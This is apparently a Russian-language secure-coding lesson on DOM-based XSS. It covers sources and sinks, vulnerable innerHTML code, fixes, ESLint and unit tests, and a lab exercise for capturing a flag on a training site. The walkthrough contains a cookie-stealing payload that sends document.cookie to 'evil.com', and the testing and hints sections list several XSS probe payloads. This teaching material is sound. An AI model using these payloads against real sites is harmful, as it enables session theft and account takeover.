📚 Теория: DOM-based XSS (кликните чтобы развернуть)
1️⃣ Что такое DOM-based XSS?
Простыми словами для разработчика:
Вы пишете JavaScript который берёт данные из URL (или других клиентских источников) и вставляет в DOM через опасные методы типа innerHTML. Сервер НЕ участвует — уязвимость полностью в вашем JS-коде.
При Reflected XSS сервер отражает payload в HTML-ответе. При DOM XSS сервер возвращает безопасный HTML, но ВАШ JavaScript код берёт данные из URL и создаёт XSS сам!
Где встречается:
- 📱 Single Page Applications (React, Vue, Angular)
- 🔍 Клиентский routing (параметры из URL hash)
- 📊 Динамические dashboard с URL параметрами
- 🎨 Rich text editors с preview
- 📈 Analytics tracking (UTM параметры в DOM)
OWASP: A03:2021 - Injection
Статистика: 25% JavaScript приложений уязвимы к DOM XSS (Checkmarx 2023)
📊 Reflected vs DOM XSS
| Критерий | Reflected XSS | DOM-based XSS |
|---|---|---|
| Где уязвимость | На сервере (backend) | В браузере (frontend JS) |
| Payload в HTTP | Виден в response | НЕ виден (только в URL) |
| WAF может блокировать | Да (видит payload) | Нет (payload в client) |
| Где искать | Server logs, code review backend | Browser DevTools, JS code |
| Сложность детекции | Легко (DAST видит) | Сложнее (нужен анализ JS) |
2️⃣ Как возникает уязвимость (CODE WALKTHROUGH)
https://site.com/welcome?name=<img src=x onerror=alert(1)>
💡 Payload в параметре name
<html>
<body>
<div id="welcome"></div>
<script src="app.js"></script>
</body>
</html>
✅ Сервер НЕ отражает name — он безопасен!
// app.js
const params = new URLSearchParams(location.search);
const name = params.get('name'); // Достали payload
// ❌ ОПАСНО: вставляем в DOM через innerHTML
document.getElementById('welcome').innerHTML =
'<p>Привет, <strong>' + name + '</strong>!</p>';
❌ Ваш JS код создал XSS!
💣 <img src=x onerror=alert(1)> выполнился!
🚨 Сервер НЕ виноват — это ВАШ JS-код
❌ Уязвимый код (типичная ошибка в SPA)
// welcome.js
function showWelcome() {
// Source: берём из URL
const params = new URLSearchParams(window.location.search);
const username = params.get('name') || 'Guest';
// Sink: опасный метод innerHTML
document.getElementById('welcome').innerHTML =
\`<div class="greeting">
<h2>Добро пожаловать, \${username}!</h2>
</div>\`;
}
// ❌ Другие опасные источники:
location.hash // #param=value
location.href // полный URL
document.referrer // откуда пришёл
document.cookie // может быть изменён JS
postMessage data // от другого окна
Что думает разработчик:
"Это же клиентский код, сервер безопасен — всё ок!"
Что происходит:
// URL: /welcome?name=<img src=x onerror=fetch('evil.com?c='+document.cookie)>
// DOM после выполнения JS:
<h2>Добро пожаловать, <img src=x onerror=fetch(...)>!</h2>
↑ Браузер выполнит onerror!
3️⃣ Source & Sink: Анатомия DOM XSS
📥 SOURCE (откуда берутся данные):
URL параметры
location.search // ?name=value
location.hash // #param=value
location.href // полный URL
location.pathname
postMessage
window.addEventListener('message', e => {
// ❌ e.data может быть опасным
doSomething(e.data);
});
document.cookie
// JS может изменить cookie
document.cookie = "user=<script>";
// ❌ Потом прочитать
const user = getCookie('user');
localStorage/sessionStorage
// Может быть изменён JS
localStorage.setItem('data', '...');
// ❌ Потом использован
const data = localStorage.getItem('data');
📤 SINK (куда вставляются данные):
innerHTML / outerHTML
// ❌ ОПАСНО
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write
// ❌ ОПАСНО
document.write(userInput);
document.writeln(userInput);
eval / Function
// ❌ ОПАСНО
eval(userInput);
new Function(userInput)();
setTimeout(userInput, 100);
location / href
// ❌ ОПАСНО (javascript: URL)
location.href = userInput;
window.location = userInput;
a.href = userInput;
4️⃣ Как правильно чинить
✅ Решение #1: Используйте textContent
// ❌ WRONG: innerHTML парсит HTML
element.innerHTML = '<p>Hello, ' + name + '</p>';
// ✅ RIGHT: textContent вставляет как текст
element.textContent = name;
// Если нужна структура:
const p = document.createElement('p');
p.textContent = 'Hello, ' + name;
element.appendChild(p);
✅ Решение #2: Санитизация через DOMPurify
// npm install dompurify
import DOMPurify from 'dompurify';
const params = new URLSearchParams(location.search);
const content = params.get('content');
// ✅ Санитизируем перед вставкой
const clean = DOMPurify.sanitize(content);
element.innerHTML = clean;
✅ Решение #3: Framework auto-escaping
// React (автоматически экранирует)
function Welcome({ name }) {
return <h1>Hello, {name}</h1>; // ✅ Безопасно
// ❌ Опасно: dangerouslySetInnerHTML
}
// Vue (автоматически экранирует)
<template>
<h1>Hello, {{ name }}</h1> // ✅ Безопасно
// ❌ Опасно: v-html="name"
</template>
// Angular (автоматически экранирует)
<h1>Hello, {{ name }}</h1> // ✅ Безопасно
// ❌ Опасно: [innerHTML]="name"
const name = params.get('name');
// ✅ Whitelist допустимых значений
if (!/^[a-zA-Z0-9]+$/.test(name)) {
name = 'Guest'; // По умолчанию
}
❌ НЕ используйте:
innerHTML, outerHTML, document.write, eval, setTimeout(string)
✅ Используйте:
textContent, createElement, appendChild, setAttribute
window.addEventListener('message', (e) => {
// ✅ Проверяем источник
if (e.origin !== 'https://trusted.com') {
return;
}
// ✅ Санитизируем данные
const clean = DOMPurify.sanitize(e.data);
element.innerHTML = clean;
});
// ✅ Блокирует eval и inline scripts
res.setHeader('Content-Security-Policy',
"script-src 'self'; object-src 'none'");
5️⃣ Как тестировать DOM XSS
Manual Testing (Browser DevTools)
// 1. Откройте DevTools → Sources
// 2. Найдите JS файл с обработкой URL параметров
// 3. Поставьте breakpoint на innerHTML/eval
// 4. Проверьте откуда берутся данные
// Примеры payloads:
?name=<img src=x onerror=alert(1)>
?name=<svg/onload=alert(1)>
#<script>alert(1)</script>
?redirect=javascript:alert(1)
SAST: DOM XSS детекция
// ESLint plugin
// npm install eslint-plugin-no-unsanitized
{
"plugins": ["no-unsanitized"],
"rules": {
"no-unsanitized/method": "error",
"no-unsanitized/property": "error"
}
}
// Найдёт:
element.innerHTML = x; // ❌ Error
element.insertAdjacentHTML('beforeend', x); // ❌ Error
Unit Test
// tests/dom-xss.test.js
describe('DOM XSS Protection', () => {
test('textContent используется вместо innerHTML', () => {
const source = fs.readFileSync('public/app.js', 'utf8');
// Проверяем что нет innerHTML с URL параметрами
expect(source).not.toMatch(
/\.innerHTML\s*=.*location\.(search|hash)/
);
});
test('URL параметры санитизируются', () => {
const params = new URLSearchParams('?name=<script>x</script>');
const name = sanitizeUrlParam(params.get('name'));
expect(name).not.toContain('<script>');
});
});
6️⃣ Best Practices для DOM XSS
✅ DO (Делайте)
- Используйте
textContentвместоinnerHTML - Санитизируйте через DOMPurify если нужен HTML
- Валидируйте URL параметры (whitelist)
- Используйте framework'и с auto-escaping
- Включите CSP:
script-src 'self' - Используйте ESLint no-unsanitized plugin
❌ DON'T (Не делайте)
- Не используйте
innerHTMLс URL данными - Не используйте
eval()илиFunction() - Не доверяйте
location.hashбез проверки - Не используйте
document.write() - Не делайте
setTimeout(string) - Не используйте
javascript:URLs
Framework-specific защита:
// React - SAFE по умолчанию
<div>{userInput}</div> // ✅ Auto-escaped
// ❌ DANGER:
<div dangerouslySetInnerHTML={{__html: userInput}} />
// Vue - SAFE по умолчанию
<div>{{ userInput }}</div> // ✅ Auto-escaped
// ❌ DANGER:
<div v-html="userInput"></div>
// Angular - SAFE по умолчанию
<div>{{ userInput }}</div> // ✅ Auto-escaped + sanitizer
// ❌ DANGER:
<div [innerHTML]="userInput"></div>
7️⃣ Практические задания
📝 Задание 1: Найди DOM XSS
- ✅ Открой
https://rtlabs.su/api/xss/welcomeв браузере - ✅ View Source → найди уязвимую строку с
innerHTML - ✅ Создай URL с XSS payload
- ✅ Сними флаг из ответа страницы (он будет в формате
FLAG{...})
🔍 Задание 2: Source & Sink анализ
- Найди SOURCE: откуда берутся данные? (
location.search) - Найди SINK: куда вставляются? (
innerHTML) - Проследи data flow: SOURCE → обработка → SINK
- Определи есть ли санитизация между ними
🛠️ Задание 3: Implement Fix
- Замени
innerHTMLнаtextContent - Проверь что XSS больше не работает
- Напиши unit test для проверки
- Добавь ESLint правило no-unsanitized
🔬 Задание 4: Code Review Practice
- Просмотри свой проект — найди все
.innerHTML - Для каждого определи: безопасный источник или user input?
- Замени опасные на
textContentили DOMPurify - Создай чеклист для code review
🎯 Что вы изучили:
- 🎯 Отличия DOM XSS от серверных XSS
- 📥 Source'ы: откуда берутся опасные данные
- 📤 Sink'и: куда они попадают
- 🛡️ Защита: textContent, DOMPurify, frameworks
- 🔍 Тестирование: manual, ESLint, unit tests
- 💼 Production: CSP, best practices, code review
Подсказки
Шаг 1 — открыть страницу с параметром
https://rtlabs.su/api/xss/welcome?name=Alice
Шаг 2 — посмотреть исходный код (View Source)
Найдите строку: element.innerHTML = '<p>Привет, ' + name + '</p>';
Шаг 3 — внедрить XSS
https://rtlabs.su/api/xss/welcome?name=<img src=x onerror=alert(1)>
https://rtlabs.su/api/xss/welcome?name=<svg/onload=alert(1)>
🏆 После выполнения DOM XSS страница покажет флаг в формате FLAG{...}. Используй его для сдачи.